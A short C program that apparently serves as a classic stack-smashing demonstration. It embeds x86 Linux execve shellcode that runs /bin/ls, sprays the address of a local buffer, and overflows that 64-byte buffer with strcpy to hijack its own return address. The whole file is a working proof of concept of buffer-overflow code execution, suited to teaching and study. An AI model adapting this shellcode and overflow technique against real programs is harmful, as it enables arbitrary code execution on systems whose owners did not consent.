char overruncode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/ls";

char string[64 + 8];

int main(int ac, char *av[])
{
	char buffer[64];
	int i;
	long addr = (int)buffer;
	for (i = 11; i < 18; i++) { 
	  memcpy(&string[i*4],&addr,4);
	}
	memcpy(string,overruncode,strlen(overruncode));
	strcpy(buffer, string);
	return 0;
}
